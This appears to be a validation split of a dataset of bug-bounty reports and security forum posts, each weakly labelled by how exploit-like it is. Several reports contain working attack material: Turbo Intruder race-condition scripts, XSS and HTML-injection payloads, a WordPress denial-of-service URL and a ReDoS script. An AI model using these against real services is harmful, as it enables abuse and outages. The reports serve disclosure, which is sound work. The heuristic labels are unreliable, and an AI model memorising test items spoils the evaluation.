-{"id": "1b7c325007d7b67b8cfa", "text": "[Business Logic Errors] Race condition on action: Invite members to a team\n\n## Summary:\nHello there,\n\nI've found a race condition vulnerability which allows the invitation of the same member multiple times to a single team via the dashboard.\n\n## Tools needed:\n * Burp Suite community edition  with the extension Turbo Intruder.\nThis is the way I adopted to detect such vulnerability, there is also other ways.\n\n## Steps to reproduce:\n\n  1. Login to an account on omise.co.\n  1. Invite a member for testing \n  1. Intercept the main request to the endpoint /team/memberships using the method POST. Modify the HTTP/1.1 protocol for the communication and add `x-request: %s` for Turbo intruder extension. \n```\nPOST /team/memberships HTTP/2\nHost: dashboard.omise.co\nCookie: _gcl_au=1.1.800828746.1627664641; _fbp=fb.1.1627664641735.336224278; _ga=GA1.2.327762462.1627664642; _gid=GA1.2.1231473711.1627664642; __hstc=21908964.e6cfeebc3384c1d9daed7b052f944f26.1627664645060.1627664645060.1627664645060.1; hubspotutk=e6cfeebc3384c1d9daed7b052f944f26; __hssrc=1; locale=en; _omisegateway_session=<SESSION>\nContent-Length: 271\nCache-Control: max-age=0\nSec-Ch-Ua: \"Chromium\";v=\"91\", \" Not;A Brand\";v=\"99\"\nSec-Ch-Ua-Mobile: ?0\nUpgrade-Insecure-Requests: 1\nOrigin: https://dashboard.omise.co\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https://dashboard.omise.co/\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nx-request: %s\nConnection: close\n\nauthenticity_token=<TOKEN>email=<INVITED-EMAIL>&membership%5Badmin%5D=0&membership%5Badmin%5D=1&membership%5Btechnical%5D=0&membership%5Btechnical%5D=1&commit=Send+invitation\n```\n\n  1. Send the modified intercepted request with the invited member to Turbo intruder, and write the following attack code :\n```\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                           concurrentConnections=30,\n                           requestsPerConnection=100,\n                           pipeline=False\n                           )\n\n    # the 'gate' argument blocks the final byte of each request until openGate is invoked\n    for i in range(30):\n        engine.queue(target.req, target.baseInput, gate='race1')\n\n    # wait until every 'race1' tagged request is ready\n    # then send the final byte of each request\n    # (this method is non-blocking, just like queue)\n    engine.openGate('race1')\n\n    engine.complete(timeout=60)\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n  1. Start the Turbo intruder attack. The results are captured in the following screenshots: \n{F1395233} \nAs you can see there is multiple `200 OK` which means a race condition vulnerability happened.\n\n 1. Check the list of invited members to the team. In my case, I used in this attack the invited member : `sim4n6+4@gmail.com`. As you can see the list of invited members to the team is duplicate many times.  \n{F1395239}\n\nHowever, when the invited user is already invited. You get the following error message :\n{F1395241}\n\n1. As consequence of the attack, the same email got invited  and received multiple emails as can be seen in the following email:\n {F1395246}\n\n 1. By the way, the bug persists even if the invited member accept the invitation. More invitations will remain in the list of the invited members of the team which is undesirable by design.   \n\nIf you need any further details, please let me know.\nRegards.\n\n## Impact\n\nRace Condition vulnerability allows the invitation of the same user multiple times.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "42f80635802b3f4074a7", "text": "[Insufficient Session Expiration] Can use the Reddit android app as usual even though revoking the access of it from reddit.com\n\n## Summary:\nHi Team,\n\nFor the last 4 days, I kept testing reddit web. That time, I revoked app access from the old.reddit.com and i checked my app and as expected i was not able to use the account in my app. \n\nAfter 2 days I was checking the chat invites feature on the web and after some time I turned on the internet on my mobile and got a Reddit \"invitation accept\"  notification. I clicked on that and I was surprised that I was able to use the previously revoked user account again in the Reddit app.\n\nAfter I tried to reproduce the scenario again. I  thought the revoked account get access again after clicking on the app \"chat invite\" notification. \n- I again revoked the app access from the old.reddit.com\n- I sent a chat invitation link to another test account and replied with the test account so that I get a \"chat accept\" notification in the mobile\n- After several tries from several test accounts, Finally, I received the \"chat accept\" invitation, only one time on the mobile (Note: this is also an issue)\n- I clicked on the notification and I was not able to access anything in the app (it was showing some error)\n- I tried to reproduce the issue again, I don't know the reason But this time I was not able to view the chat invite links from any accounts. (it was showing some error)\n- It took my whole day and I stopped testing.\n\nThe next day again I got a post notification on my mobile. I clicked on that and again I see that the app was working as usual with a previous logged-in user!!!\n\nFinally, I came to the conclusion that whenever we revoke the app access, it works fine. But if you check the app approximately after 20+ hours you can reuse the previously logged-in account again.\n\n## Steps To Reproduce:\n  1. log in to your account from both the android mobile app and from the web(reddit.com or old.reddit.com)\n  2. On the Reddit web go to https://www.reddit.com/account-activity \n  3. Navigate to the \"Apps you have authorized\" section\n  4. Find \"Reddit on Android\" click the revoke access and confirm\n  5. Now open the Reddit app where you have logged in step 1\n  6. You are no more able to access any info about the user and it will show errors like \"Let's try that again\" or \"uh oh something went wrong but we're not     sure what\"\n  7. Open the app approximately after 20+ hours and see that you can reuse the previously logged-in account without any issue.\n\n## Supporting Material/References:\nI see that I got the latest app update and trying to reproduce the issue again on the latest version i.e 2022.25.1 I will update you on it again. I assume previously my Reddit app version was 2022.25.0 or 2022.24.1\nDevice and version info{F1814768}\nThe account/username used for testing is: sateeshn_1\n\n## Impact\n\nUnauthorized access to account even though revoking the access.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7c8b2f665714663f188e", "text": "[Information Exposure Through Debug Information] Information exposure in in guzzlehttp/guzzle (https://github.com/nextcloud/3rdparty/tree/master/guzzlehttp/guzzle)\n\n## Summary:\n\nAffected versions of this package are vulnerable to Information Exposure which fails to strip the Authorization header on HTTP downgrade, this depency is out of date and it can leat to still authorization header.\n## Steps To Reproduce:\n\n(https://github.com/nextcloud/3rdparty/tree/master/guzzlehttp/guzzle)\n  Introduced through: guzzlehttp/guzzle@7.4.0, aws/aws-sdk-php@3.184.6, php-http/guzzle7-adapter@1.0.0, php-opencloud/openstack@3.1.0, microsoft/azure-storage-blob@1.5.2\n  From: guzzlehttp/guzzle@7.4.0\n  From: aws/aws-sdk-php@3.184.6 > guzzlehttp/guzzle@7.4.0\n  From: php-http/guzzle7-adapter@1.0.0 > guzzlehttp/guzzle@7.4.0\n\n##Fix:\nYou can update to 7.4.4, 6.5.7 to fix this information exposure.\n\n## Impact\n\nAffected versions of this package are vulnerable to Information Exposure which fails to strip the Authorization header on HTTP downgrade.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1aebf0096a817ea5e020", "text": "[Information Exposure Through an Error Message] Authenticated but unauthorized users may enumerate Application names via the API\n\nAll versions of Argo CD starting with v0.5.0 are vulnerable to an information disclosure bug allowing unauthorized users to enumerate application names by inspecting API error messages. \n\nSTEPS:\n1. Login argocd with a user who has not application module's priviledge.\n2. The user request 'api/v1/application/**/logs' restful api to download a log file.\n3. The log file's content lead a information disclosure bug, which allowing unauthorized users to enumerate application names by inspecting API error messages. The error messages like 'error gettingg applicaiton by name: ** not found'.\n\n## Impact\n\nAn attacker could use the discovered application names as the starting point of another attack. For example, the attacker might use their knowledge of an application name to convince an administrator to grant higher privileges (social engineering).", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b1009a53c1bcc1c82236", "text": "Excellent work here @0xf00 , I’m always up for such kind of articles. Great research!!Only the best!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-08-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fec28381822066a2d482", "text": "Would someone explain why my dnsenum keeps timing out: app.inlanefreight.htb. NS record query failed: query timed out running this: sudo dnsenum --dnsserver 10.129.18.15 --enum -p 0 -s 0 -o subdomains.txt -f /home/ethhack/Seclists/Discovery/DNS/fierce-hostlist.txt app.inlanefreight.htb. dnsenum VERSION:1.2.6", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3507b3b1cc46418f8d19", "text": "[Unknown] HTML Injection in E-mail Not Resolved ()\n\n## Summary\nOn this report  \" https://hackerone.com/reports/1536899  \"  You closed the report and changed the status to Resolved.\nBut it's Not Resolved The Bug  It's Still there \n\n## Steps To Reproduce\n\n    1.Please register at https://www.acronis.com/en-us/products/cyber-protect/trial/#registration with the victim's email.\n    2. Inject \"First Name\" field with HTML tags, for example:    \"/><img src=\"x\"><a href=\"https://evil.com\">login</a>.\n    3.Check the email inbox, HTML tags will be executed. \"Your Acronis Cyber Protect trial starts today!\" \n\nProof of Concept: \n                                         F1774045\n\n## Impact\n\nHTML injection into emails is dangerous!\n\n* Your users are at risk when a hacker is able to take control of the emails that your applications send, but what's especially dangerous is that the emails       will be coming from your company email address.\n\n*  When a malicious email comes from your company email, it looks a lot more legitimate.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3335fd3dab525d3a68c7", "text": "Can someone give a hint on elasticity? The web api seem to accept some chars, e.g. \\ or quotes, but I don’t seem to be able to do anything with it. Internal ports 9200/9300 not responding. Not sure what to do at this point.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-07-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0044b02c89328fd84ab0", "text": "[Uncontrolled Resource Consumption] node.js process aborts when processing x509 certs with invalid public key information\n\n**Summary:** \nThe code for the CreateAsymmetric method in src/crypto/crypto_keys.cc: assumes that the certificate includes a valid public key. \nHowever, malicious actors could construct x509 certificates that can break this assumption. \n\n**Description:** \n\nWhen we run the attached reproducer, the node process aborts with the following message: \n\n /usr/local/bin/node loadcert_poc.js\nv18.14.2\nvalid:Feb 21 23:59:59 2015 GMT\n/usr/local/bin/node[392068]: ../src/crypto/crypto_keys.cc:869:static std::shared_ptr<node::crypto::KeyObjectData> node::crypto::KeyObjectData::CreateAsymmetric(node::crypto::KeyType, const node::crypto::ManagedEVPPKey&): Assertion `pkey' failed.\n 1: 0xb7b3f0 node::Abort() [/usr/local/bin/node]\n 2: 0xb7b46e  [/usr/local/bin/node]\n 3: 0xd11002 node::crypto::KeyObjectData::CreateAsymmetric(node::crypto::KeyType, node::crypto::ManagedEVPPKey const&) [/usr/local/bin/node]\n 4: 0xd29626 node::crypto::X509Certificate::PublicKey(v8::FunctionCallbackInfo<v8::Value> const&) [/usr/local/bin/node]\n 5: 0xdc12a0  [/usr/local/bin/node]\n 6: 0xdc27df v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) [/usr/local/bin/node]\n 7: 0x1700679  [/usr/local/bin/node]\nAborted\n\nSame outcome with 19.7.0\n\nThe CHECK(pkey) in method CreateAsymmetric [1] could be made more aware of the invalid state of the provided x509 certificate to gracefully handle the situation. \n\nstd::shared_ptr<KeyObjectData> KeyObjectData::CreateAsymmetric(\n    KeyType key_type,\n    const ManagedEVPPKey& pkey) {\n  ===> CHECK(pkey);\n  return std::shared_ptr<KeyObjectData>(new KeyObjectData(key_type, pkey));\n}\n\n## Steps To Reproduce:\n/usr/local/bin/node loadcert_poc.js \nv19.7.0\n[1]\nvalid:Feb 21 23:59:59 2015 GMT\n/usr/local/bin/node[4119272]: ../src/crypto/crypto_keys.cc:869:static std::shared_ptr<node::crypto::KeyObjectData> node::crypto::KeyObjectData::CreateAsymmetric(node::crypto::KeyType, const node::crypto::ManagedEVPPKey&): Assertion `pkey' failed.\n[..]\nAborted\n\n## Impact: \n\nThere are various use cases where an application may want to access the public key info of a client-provided certificate. Developer may assume that the crypto code is safe to feed with arbitrary x509 material. \n\n## Supporting Material/References:\n\n[1] https://github.com/nodejs/node/blob/5fad0b93667ffc6e4def52996b9529ac99b26319/src/crypto/crypto_keys.cc#L881\n\n## Impact\n\nThe attacker could force interruptions of application processing, as the process terminates when accessing public key info of provided certificates from user code.  The current context of the users will be gone, and that will cause a DoS scenario, downtime, reputation and potential revenue loss.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aed5ab7816f6545c9cd4", "text": "[Uncontrolled Resource Consumption] Slowvote and Countdown can cause Denial of Service due to recursive inclusion\n\nSimilar to #85011, if you edit a Slowvote or Countdown object and include its own object ID in the description, then it will recursively include and prevent the page from loading.\n\nmongoose\n\n## Impact\n\nDenial of Service. You can include the Slowvote or Countdown object on any other object to also prevent it from loading. If it is included in the feed, you could also prevent the home page from loading.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7e2e23869831b2924457", "text": "[Unknown] Self-XSS due to image URL can be eploited via XSSJacking techniques in review email\n\n## Summary:\nGood day team,\n\nI found a self-xss due to the image url of recommendations in your reviewer profile that can be exploited via XSSJacking techniques. \n\nThis one was honestly pretty tricky, since unlike the rest of the Judge.me App that whitelisted `*.myshopify.com` in the CSP this one has a set `X-Frame-Options: SAMEORIGIN` meaning unlike the rest of my XSS reports I can use my Shopify store's frontent. Luckily though I managed to find a place that allows me to load iframes, namely the full email preview of review requests.\n\n## Steps To Reproduce:\n\n  1. Login to your 'reviewer' account in Judge.me\n\n  1. Add a new recommendation for your public profile: `https://judge.me/[ID]?subtab=recommendations&tab=public_profile` -> Add recommendation\n\n  1. Go back to the recommendation list, click the pencil icon in the image and insert this payload to trigger the Self-XSS: `https://secure.gravatar.com/avatar/█████████.png?;'onload=alert(document.domain)>`\n\n  1. Now to exploit this, login to your Shopify account and open the Judge.me app\n\n  1. Click 'Request' -> 'Email Templates' and edit the existing email template\n\n  1. In the 'text block', add a link and insert this payload as the display text and url (make sure to edit the ID to targeted reviewer's ID): `https://<iframe src=\"https://judge.me/[ID_OF_TARGET]?tab=public_profile\">`\n{F1510271}\n\n  1. Click 'Save' two times. I'm honestly not sure why but it won't display properly unless you save it twice\n\n  1. Now to send that template, create an order in your Shopify instance and make sure to fulfill that order: `yourshop.myshopify.com/admin/draft_orders/new` -> Mark as fulfilled. Make sure that the customer you use is the one from step 1 or the email of the reviewer account\n\n  1.  Once that is done, go back to the Judge.me app and click 'Requests' -> 'Request Dashboard'\n\n  1. Click 'Add manual request' -> 'Send Review Request for Old Orders'\n\n  1. The reviewer account should receive an email notification regarding a review request, click 'Trouble viewing email' to access the full email preview\n\n  1. In there you should see that the iframe for the reviewer account is visible, now all that is needed to be done is perform XSSJacking techniques to trigger the Self-XSS\n{F1510279}\n\nNote: Getting a valid review request that you can use for the preview is pretty confusing  since the 'send me an example' doesn't work for full email preview, it took me quite a while before I successfully managed to do it so if there's anything that I haven't explained properly please let me know or you can directly ask the Judge.me team for help :)\n\n## Supporting Material/References:\n{F1510278}\n\nAs usual, if there is anything that doesn't make any sense please let me know.\n\nCheers,\nPenguinsHelp\n\n## Impact\n\nXSS via XSSJacking techniques", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b61c45bd3ae56a08ea85", "text": "The problem has been solved! On the contrary, I removed the -n flag after echo. And he gave me the correct value of the flag.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3c9e7caaf42f08eaa3f9", "text": "[Business Logic Errors] Attacker shall recieve order updates on whatsapp for users who have activated whatsapp notification\n\nH\n\nSummary:\n1. Order ID are IDOR ( Insecure Direct Object Reference )\n2. When users activated whats app notification an attacker would start receiving the notification without user interaction about their order.\n\nProof Of Concept:-\n\nWhen an user order on a restaurant he/she can start whatsapp notification on their order.\n\n██████████\n\nSteps to Reproduce:-\n\n1. When the user activates whats app notification by sending the message with order id. His order notification's vulnerable.\n\n2. Now the attacker sends the message with above vulnerable order id ( Order id is IDOR - eg:15625383 )\n\n3. He will get the error notification, though he will start receiving the updates.\n\n{F1670097}\n\n3.1 the updates would be\n3.1.1 delivery partner assigned.\n3.1.2 when he will reach\n3.1.2 once he delivered the order.\n\n## Impact\n\nbusiness logic error.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3d066f4643fa59da2bde", "text": "[Time-of-check Time-of-use (TOCTOU) Race Condition] Race condition in joining CTF group\n\n**Summary:**\n\nA race condition in `https://ctf.hacker101.com/group/join` allows a user to join the same CTF group multiple times. \n\nThe user will show up in the group member list multiple times, and affect the group statistics.\n\n**Description:**\n\nInterestingly a race condition in this feature was reported in #604534, but it seems like the implementation has changed slightly, allowing the same issue to occur.\n\n### Steps To Reproduce\n\n1. As the team leader, generate a shared invitation link. For this example the link was `https://ctf.hacker101.com/group/join?invite=fdb4ba75da6e8da41650369d24e3866f90384550f952474df194db8077bda8b0`.\n\n2. Use Burp Suite to intercept this request and configure Turbo Intruder as follows:\n\n```python\n# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                           concurrentConnections=100,\n                           requestsPerConnection=100,\n                           pipeline=True\n                           )\n\n    # the 'gate' argument blocks the final byte of each request until openGate is invoked\n    for i in range(30):\n        engine.queue(target.req, gate='race1')\n\n    # wait until every 'race1' tagged request is ready\n    # then send the final byte of each request\n    # (this method is non-blocking, just like queue)\n    engine.openGate('race1')\n\n    engine.complete(timeout=60)\n\n\ndef handleResponse(req, interesting):\n    table.add(req)\n\n```\n\n{F1692527}\n\n3. Start the attack, and observe multiple requests succeeding with status code 200.\n\n{F1692528}\n\nWe can verify from the invited user's screen that we have joined the same group multiple times.\n\n{F1692529}\n\nThe user will also show up in the group multiple times from the group leader's screen.\n\n{F1692530}\n\n## Impact\n\nRace condition allows a user to join the same group multiple times. This is more of a low-impact bug, but one that should be fixed nonetheless.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ecdcc4f4c1deac295a80", "text": "[Uncontrolled Resource Consumption] DoS at ████████ (CVE-2018-6389)\n\nHi DoD Team!\n\n##Description\n\nUnauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times.\n\nThe vulnerability is registered as [CVE-2018-6389](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389).\n\nWordPress allows users to load multiple JS files and CSS files through load-scripts.php files at once. However, the number and size of files are not restricted in the process of loading JS files, attackers can use this function to deplete server resources and launch denial of service attacks.\n\n##Vulnerability\n\nhttps://███/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter\n\n███ \n\n## References\n\nhttps://hackerone.com/reports/925425\nhttps://hackerone.com/reports/335177\n\n## References\n\n## Impact\n\nAttackers can use this vulnerable function to deplete server resources and launch denial of service attacks.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nAccess:\n```\nhttps://████████/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scripta", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2018-6389"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "18e1fc6ca956cfef95c7", "text": "You are on the right track with the User agent. Play around with your inputs. Maybe make them simple at first just to make sure you can actually run code. There is a risk that you can enter in a user agent which breaks the admin page when it tries to read the access log, this means that any agent text entered after the one that broke the page will have no effect because the page breaks before it can read any new agents. You will need to restart the assessment machine if that happens.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8b05d940523f738cc590", "text": "[Use After Free] CVE-2023-28319: UAF in SSH sha256 fingerprint check\n\nlibcurl offers a feature to verify an SSH server's public key using a SHA 256\nhash. When this check fails, libcurl would free the memory for the fingerprint\nbefore it returns an error message containing the (now freed) hash.\n\nAffected versions: curl 7.81.0 to and including 8.0.1\nNot affected versions: curl < 7.81.0 and curl >= 8.1.0\n\nThe original submission can be found here: https://hackerone.com/reports/1913733\n\n## Impact\n\nThis flaw risks inserting sensitive heap-based data into the error message\nthat might be shown to users or otherwise get leaked and revealed.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-28319"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "74f318cb28658b705f69", "text": "[Uncontrolled Resource Consumption] CVE-2023-28755: ReDoS vulnerability in URI\n\nOriginal report on the Ruby program: https://hackerone.com/reports/1444501\nAdvisort: https://www.ruby-lang.org/en/news/2023/03/28/redos-in-uri-cve-2023-28755/\nNIST entry: https://nvd.nist.gov/vuln/detail/CVE-2023-28755\nCVSS:  7.5 high `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` as listed by NIST but frankly I disagree with the `UI:N` part, I won't mind the extra 2k if you go with NIST but it didn't feel right not to mention it :) I filed the report with the CVSS I think this should have\n\nCopy of the original report:\n\n## Summary\n\nHello team, I hope you're doing well! The `URI` parser mishandles invalid URLs that have two `#` characters. It does correctly identify that they're invalid, but the regex performs very poorly and execution time grows much faster than the string length.\n\nI found this somewhat accidentally when fuzzing for something else. I'm not sure if you care about such issues but I figured I'd report it anyway. The length of the strings required to actually cause the process to hang are very long, but it's not really an issue when the user-controlled input is sent in a request body.\n\n## Steps to reproduce\n\nRun the following script\n\n```ruby\nrequire 'benchmark'\nrequire 'uri'\n\ndef parse(n)\n  URI('https://example.com/dir/' + 'a' * n + '/##.jpg')\n  rescue URI::InvalidURIError\n  # Invalid URI because of the two #\nend\n\nn = 50000\nBenchmark.bm(7) do |x|\n  x.report('Base length') { parse(n) }\n  x.report('Length x2  ') { parse(n * 2) }\n  x.report('Length x4  ') { parse(n * 4) }\n  x.report('Length x8  ') { parse(n * 8) }\nend\n```\n\nHere's the output on my machine\n\n```plaintext\n              user     system      total        real\nBase length  1.086961   0.003059   1.090020 (  1.090500)\nLength x2    4.415046   0.000000   4.415046 (  4.416986)\nLength x4   22.021462   0.003294  22.024756 ( 22.042507)\nLength x8  122.695223   0.006653 122.701876 (122.853669)\n```\n\nWe can see the execution time is roughly quintuples when the string length only doubles.\n\nHere's my Ruby version\n\n```shell\n$ ruby -v\nruby 3.1.0p0 (2021-12-25 revision fb4df44d16) [x86_64-linux]\n```\n\n## Impact\n\nHigh resource consumption, reduced performance, denial of service", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-28755"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7aabc07a7bcde4cca538", "text": "[Privilege Escalation] Domain Takeover - gl-canary.freetls.fastly.net\n\nHello Gitlab!\n\nThe domain `gl-canary.freetls.fastly.net` is whitelisted in gitlab.com Content Security Policy. See `Content-Security-Policy` HTTP header from gitlab.com:\n\n```\nContent-Security-Policy: connect-src 'self' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net wss://gitlab.com https://sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net; frame-ancestors 'self'; frame-src 'self' https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com https://*.codesandbox.io; img-src * data: blob:; object-src 'none'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.gstatic.com/recaptcha/ https://apis.google.com 'nonce-bjSllX/7AnVrXL1QQxsb+w=='; style-src 'self' 'unsafe-inline' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net; worker-src https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://gitlab.com blob:\n```\n\nThis domain can be controlled from any fastly.com account:\n1. Register at https://www.fastly.com/signup\n2. Go to https://manage.fastly.com/services/all\n3. Create a new service \n4. Use `gl-canary.global.ssl.fastly.net` as domain. (Fastly automatically creates <name>.freetls.fastly.net. See https://docs.fastly.com/en/guides/setting-up-free-tls#support-for-http2-ipv6-and-tls-12)\n5. Configure hosts\n\n## Impact\n\nAn attacker can use the domain to bypass the CSP and execute malicious client-side code (for example, the client application may have an XSS vulnerability).\nThe domain could potentially be used elsewhere in Gitlab application (CDN, for example).", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
